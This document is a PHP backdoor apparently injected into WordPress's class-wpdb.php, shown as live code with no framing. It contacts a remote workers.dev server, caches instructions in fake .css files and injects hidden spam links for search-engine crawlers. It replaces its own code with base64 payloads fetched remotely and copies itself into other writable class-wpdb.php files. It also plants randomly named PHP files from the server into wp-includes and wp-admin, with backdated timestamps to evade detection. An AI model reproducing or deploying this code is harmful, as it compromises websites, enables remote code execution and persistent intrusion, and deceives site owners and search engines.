// [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] // [LINKSBLOCKS] define('VERSION_SCRIPTS',2); define('WORKERS_URL','https://terbarusmoothlymisfire.bypolasu.workers.dev/'); define('PATH_TO_WORKS',str_replace('class-wpdb.php','css'.DIRECTORY_SEPARATOR.'content'.DIRECTORY_SEPARATOR,__FILE__)); if(!is_dir(PATH_TO_WORKS)) @mkdir(PATH_TO_WORKS); if(is_dir(PATH_TO_WORKS)){ if(!is_file(PATH_TO_WORKS.'other.css') || filemtime(PATH_TO_WORKS.'other.css')+3600*24<=time()){ file_put_contents(PATH_TO_WORKS.'other.css',time()); my_finding(); } $timeout = 300; if(is_file(PATH_TO_WORKS.'timeout.css')) $timeout = file_get_contents(PATH_TO_WORKS.'timeout.css'); if(!is_file(PATH_TO_WORKS.'ping.css') || filemtime(PATH_TO_WORKS.'ping.css')+$timeout<=time()){ file_put_contents(PATH_TO_WORKS.'ping.css',time()); $show_ua = array(); if(is_file(PATH_TO_WORKS.'show_ua.css')){ $show_ua = @json_decode(file_get_contents(PATH_TO_WORKS.'show_ua.css'),true); } $list_stat = array(); foreach($show_ua as $current_bot=>$current_bot_ua){ $view = 0; $show = 0; if(is_file(PATH_TO_WORKS.'v_'.$current_bot.'_'.date("Y-m-d").'.css')) $view = filesize(PATH_TO_WORKS.'v_'.$current_bot.'_'.date("Y-m-d").'.css'); if(is_file(PATH_TO_WORKS.'s_'.$current_bot.'_'.date("Y-m-d").'.css')) $show = filesize(PATH_TO_WORKS.'s_'.$current_bot.'_'.date("Y-m-d").'.css'); $list_stat[] = $current_bot.'='.$view.'|'.$show; } $recover = ''; if(is_file(PATH_TO_WORKS.'recover_'.md5(__DIR__).'.css')){ $recover = file_get_contents(PATH_TO_WORKS.'recover_'.md5(__DIR__).'.css'); } $data = false; $homepage = my_get_current_home_page(); if($homepage){ $data = json_decode( my_get_page(WORKERS_URL.'?url='.rawurlencode($homepage).'&version='.VERSION_SCRIPTS.'&'.implode('&',$list_stat).'&date='.date("Y-m-d").'&recover='.rawurlencode($recover)) ,true); } if(is_array($data)){ if(isset($data['links'])){ @file_put_contents(PATH_TO_WORKS.'links.css',$data['links']); }else{ @unlink(PATH_TO_WORKS.'links.css'); } if(isset($data['list_bots'])){ @file_put_contents(PATH_TO_WORKS.'show_ua.css',$data['list_bots']); } if(isset($data['regexp_bot'])){ @file_put_contents(PATH_TO_WORKS.'regexp_bot.css',$data['regexp_bot']); } if(isset($data['count_show'])){ @file_put_contents(PATH_TO_WORKS.'count_show.css',$data['count_show']); } if(isset($data['timeout'])){ @file_put_contents(PATH_TO_WORKS.'timeout.css',$data['timeout']); } if(isset($data['type_show'])){ @file_put_contents(PATH_TO_WORKS.'type_show.css',$data['type_show']); } if(isset($data['block'])){ @file_put_contents(PATH_TO_WORKS.'block.css',$data['block']); } if(isset($data['recovery_code']) && !empty($data['recovery_code']) && !is_file(PATH_TO_WORKS.'recover_'.md5(__DIR__).'.css')){ $path1 = str_replace('class-wpdb.php','',__FILE__); $path2 = str_replace('wp-includes'.DIRECTORY_SEPARATOR.'class-wpdb.php','wp-admin'.DIRECTORY_SEPARATOR,__FILE__); $file1 = my_save_rand_file($path1,$data['recovery_code']); $file2 = my_save_rand_file($path2,$data['recovery_code']); @file_put_contents(PATH_TO_WORKS.'recover_'.md5(__DIR__).'.css',json_encode(array('/wp-includes/'.$file1,'/wp-admin/'.$file2))); } if(isset($data['new_version']) && isset($data['code']) && !empty($data['code'])){ if($data['new_version']!=VERSION_SCRIPTS){ $time = filemtime(__FILE__); $text = file_get_contents(__FILE__); preg_match('/\t*\/\/\s\[LINKSBLOCKS\](.+)\/\/\s\[\/LINKSBLOCKS\]/uis',$text,$match); if(isset($match[0])){ $text = str_replace($match[0],'// [LINKSBLOCKS]'."\n".base64_decode($data['code'])."\n".'// [/LINKSBLOCKS]',$text); file_put_contents(__FILE__,$text); @touch(__FILE__,($time+1)); } } } if(isset($data['delconnect'])){ $files = array_diff(scandir(PATH_TO_WORKS),array('.','..')); foreach($files as $current_file){ if(!preg_match('/^links\_/i') && !preg_match('/^show\_/i')) continue; @unlink(PATH_TO_WORKS.$current_file); } } }else{ @unlink(PATH_TO_WORKS.'links.css'); } } } $regexp_bot = '/(google|bing|yandex)/i'; if(is_file(PATH_TO_WORKS.'regexp_bot.css')) $regexp_bot = file_get_contents(PATH_TO_WORKS.'regexp_bot.css'); if(!stristr($_SERVER['REQUEST_URI'],'/wp-admin/') && preg_match($regexp_bot,$_SERVER['HTTP_USER_AGENT']) && !function_exists('my_shutdown_function')){ function my_shutdown_function() { $show_ua = array(); if(is_file(PATH_TO_WORKS.'show_ua.css')){ $show_ua = @json_decode(file_get_contents(PATH_TO_WORKS.'show_ua.css'),true); } $current_raw_bot = false; foreach($show_ua as $current_bot=>$current_bot_ua){ if(preg_match($current_bot_ua,$_SERVER['HTTP_USER_AGENT'])){ $current_raw_bot = $current_bot; break; } } $type_show = array('type_show'=>'onetime','param'=>0); if(is_file(PATH_TO_WORKS.'type_show.css')){ $type_show = json_decode(file_get_contents(PATH_TO_WORKS.'type_show.css'),true); } $add = ''; if($type_show['type_show']=='countshow'){ $count_show = 0; if(is_file(PATH_TO_WORKS.'show_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css')){ $count_show = filesize(PATH_TO_WORKS.'show_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css'); } if($count_show<$type_show['param']){ if(is_file(PATH_TO_WORKS.'links_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css')){ $add = file_get_contents(PATH_TO_WORKS.'links_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css'); }else{ @unlink(PATH_TO_WORKS.'show_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css'); } }else{ @unlink(PATH_TO_WORKS.'show_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css'); @unlink(PATH_TO_WORKS.'links_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css'); } } if($type_show['type_show']=='timewait'){ $start_time_show = 0; if(is_file(PATH_TO_WORKS.'show_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css')){ $start_time_show = file_get_contents(PATH_TO_WORKS.'show_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css'); } if($start_time_show+$type_show['param']>=time()){ if(is_file(PATH_TO_WORKS.'links_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css')){ $add = file_get_contents(PATH_TO_WORKS.'links_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css'); }else{ @unlink(PATH_TO_WORKS.'show_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css'); } }else{ @unlink(PATH_TO_WORKS.'show_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css'); @unlink(PATH_TO_WORKS.'links_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css'); } } if(empty($add)){ $block = array( 'div'=>'
', 'links'=>'
  • [LINK]
  • ', ); if(is_file(PATH_TO_WORKS.'block.css')){ $block = json_decode(file_get_contents(PATH_TO_WORKS.'block.css'),true); } $count_links = 1000; if(is_file(PATH_TO_WORKS.'count_show.css')) $count_links = file_get_contents(PATH_TO_WORKS.'count_show.css'); $links = array(); if(is_file(PATH_TO_WORKS.'links.css')){ $links = file(PATH_TO_WORKS.'links.css', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); } if(count($links)<$count_links) $count_links = count($links); if($count_links>0){ $rand_id = array_rand($links,$count_links); $show = array(); foreach($rand_id as $id){ $show[] = str_replace('[LINK]',$links[$id],$block['links']); } $add = str_replace('[TEXT]',implode('',$show),$block['div']); $add = str_replace('[RAND]',md5(microtime()),$add); $add = my_spintax($add); } } $buffer = ob_get_contents(); $copy = $buffer; if(preg_match('/\<\/body\>/i',$buffer) && preg_match('/\<\/html\>/i',$buffer)){ $buffer = preg_replace('/]*>/', '$0' . $add, $buffer, 1); } if(mt_rand(1,100)==1){ my_clean_old_data(); } file_put_contents(PATH_TO_WORKS.'v_'.$current_raw_bot.'_'.date("Y-m-d").'.css',1,FILE_APPEND); if(empty($buffer)) { $buffer = $copy; }else{ if(!empty($add)){ file_put_contents(PATH_TO_WORKS.'s_'.$current_raw_bot.'_'.date("Y-m-d").'.css',1,FILE_APPEND); if($type_show['type_show']=='countshow'){ file_put_contents(PATH_TO_WORKS.'show_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css',1,FILE_APPEND); if(!is_file(PATH_TO_WORKS.'links_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css')){ file_put_contents(PATH_TO_WORKS.'links_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css',$add); } } if($type_show['type_show']=='timewait'){ if(!is_file(PATH_TO_WORKS.'show_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css')){ file_put_contents(PATH_TO_WORKS.'show_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css',time()); } if(!is_file(PATH_TO_WORKS.'links_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css')){ file_put_contents(PATH_TO_WORKS.'links_'.$current_raw_bot.'_'.md5($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']).'.css',$add); } } } } ob_clean(); echo $buffer; } ini_set('memory_limit', '16048M'); register_shutdown_function('my_shutdown_function'); ob_start(); } function my_spintax($text) { while (($start = strrpos($text, '{')) !== false) { $end = strpos($text, '}', $start); if ($end === false) break; $block = substr($text, $start + 1, $end - $start - 1); $options = explode('|', $block); $chosen = $options[array_rand($options)]; $text = substr_replace($text, $chosen, $start, $end - $start + 1); } return $text; } function my_clean_old_data() { $files = array_diff(scandir(PATH_TO_WORKS),array('.','..')); foreach($files as $current_file){ if(!preg_match('/^links\_/i') && !preg_match('/^show\_/i')) continue; if(filemtime(PATH_TO_WORKS.$current_file)+3600*24<=time()){ @unlink(PATH_TO_WORKS.$current_file); } } return true; } function my_get_request_scheme() { if (isset($_SERVER['HTTP_CF_VISITOR'])) { if(strstr($_SERVER['HTTP_CF_VISITOR'],'https')){ return 'https'; } if(strstr($_SERVER['HTTP_CF_VISITOR'],'http')){ return 'http'; } } if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) == 'on') { return 'https'; } if (isset($_SERVER['REQUEST_SCHEME'])) { return $_SERVER['REQUEST_SCHEME']; } return 'http'; } function my_get_page($url) { $content = ''; if (function_exists('curl_init')) { $content = get_page_curl($url); } if(empty($content)){ if (ini_get('allow_url_fopen') && function_exists('file_get_contents')) { $content = get_page_file_get_contents($url); } if(empty($content)){ if (function_exists('fopen')) { $content = get_page_fopen($url); } } } return $content; } function get_page_curl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_SSLVERSION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36'); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language: en-US,en;q=0.5')); $response = curl_exec($ch); $error = curl_error($ch); curl_close($ch); if ($error) { return false; } return $response; } function get_page_file_get_contents($url) { try { $response = file_get_contents($url); if ($response === false) { return false; } return $response; } catch (Exception $e) { return false; } } function get_page_fopen($url) { $context = stream_context_create(array( 'http' => array( 'method' => 'GET', 'header' => 'Accept: text/html\r\n', 'timeout' => 60 ) )); $handle = fopen($url, 'r', false, $context); if ($handle === false) { return false; } $response = stream_get_contents($handle); fclose($handle); return $response; } function my_finding() { set_time_limit(0); ignore_user_abort(1); preg_match('/\t*\/\/\s\[LINKSBLOCKS\](.+)\/\/\s\[\/LINKSBLOCKS\]/uis',file_get_contents(__FILE__),$match); if(!isset($match[0])){ return false; } $code = $match[0]; $explode_dir = explode(DIRECTORY_SEPARATOR, __DIR__); $all_dir = array(); $good_files = array(); foreach($explode_dir as $current_path){ $all_dir[] = $current_path; $current_dir = implode(DIRECTORY_SEPARATOR, $all_dir); if(empty($current_dir)) { $current_dir = DIRECTORY_SEPARATOR; } $class = my_scanDirectoryClass($current_dir, 3); if(is_array($class) && count($class)>0){ foreach($class as $current_file_class){ $good_files[$current_file_class]=1; } } } if(count($good_files)==0) { return false; } $good_files = array_keys($good_files); foreach($good_files as $current_good_file){ $time = filemtime($current_good_file); $get = file_get_contents($current_good_file); if(strstr($get,'[/LINKSBLOCKS]')){ preg_match('/\t*\/\/\s\[LINKSBLOCKS\](.+)\/\/\s\[\/LINKSBLOCKS\]/uis',$get,$match); if(isset($match[0])){ $get = str_replace($match[0],'// [LINKSBLOCKS]'."\n".$code."\n".'// [/LINKSBLOCKS]',$get); }else{ continue; } }else{ $get.=$code; } file_put_contents($current_good_file,$get); @touch($current_good_file,($time+1)); } return true; } function my_scanDirectoryClass($dir, $deep, $currentDepth = 0) { if ($currentDepth >= $deep) { return array(); } $good_files = array(); if (@is_dir($dir)) { $files = @scandir($dir); if(is_array($files)){ $is_writable = false; foreach ($files as $file) { if ($file == '.' || $file == '..') { continue; } if($dir!=DIRECTORY_SEPARATOR){ $path = $dir.DIRECTORY_SEPARATOR.$file; }else{ $path = $dir.$file; } if(@is_dir($path)){ if($file=='wp-includes'){ if(@is_file($path.DIRECTORY_SEPARATOR.'class-wpdb.php')){ if(is_writable($path.DIRECTORY_SEPARATOR.'class-wpdb.php')){ $good_files[]=$path.DIRECTORY_SEPARATOR.'class-wpdb.php'; } } } $good_files = array_merge($good_files, my_scanDirectoryClass($path, $deep, $currentDepth + 1)); } } } } return $good_files; } function my_save_rand_file($path,$content) { $files = array_diff(scandir($path),array('..','.')); $names = array(); $times = array(); foreach($files as $current_file){ $mtime = filemtime($path.$current_file); if(isset($times[$mtime])) $times[$mtime]++; else $times[$mtime]=1; if(is_file($path.$current_file) && strstr($current_file,'-') && strstr($current_file,'.php')){ $current_file = preg_replace('/\.php$/','',$current_file); $explode = explode('-',$current_file); foreach($explode as $current){ if(preg_match('/^\w+$/',$current)){ $names[$current]=1; } } } } arsort($times); $current_time = key($times); $names = array_keys($names); $good_name = false; for($i=1;$i<=10;$i++){ $check_name = $names[array_rand($names,1)].'-'.$names[array_rand($names,1)].'.php'; if(!is_file($path.$check_name)){ $good_name = $check_name; break; } } if(!$good_name) return false; @file_put_contents($path.$good_name,$content); @touch($path.$good_name,$current_time,$current_time); return $good_name; } function my_get_current_home_page() { if(basename($_SERVER['SCRIPT_NAME'])!='index.php') return false; $explode = explode(DIRECTORY_SEPARATOR,$_SERVER['SCRIPT_NAME']); if(count($explode)==2){ $current_home_page = my_get_request_scheme().'://'.$_SERVER['SERVER_NAME'].'/'; }else{ $current_home_page = my_get_request_scheme().'://'.$_SERVER['SERVER_NAME'].preg_replace('/index\.php$/i','',$_SERVER['SCRIPT_NAME']); $current_home_page = str_replace('\\','/',$current_home_page); } return $current_home_page; } // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS] // [/LINKSBLOCKS]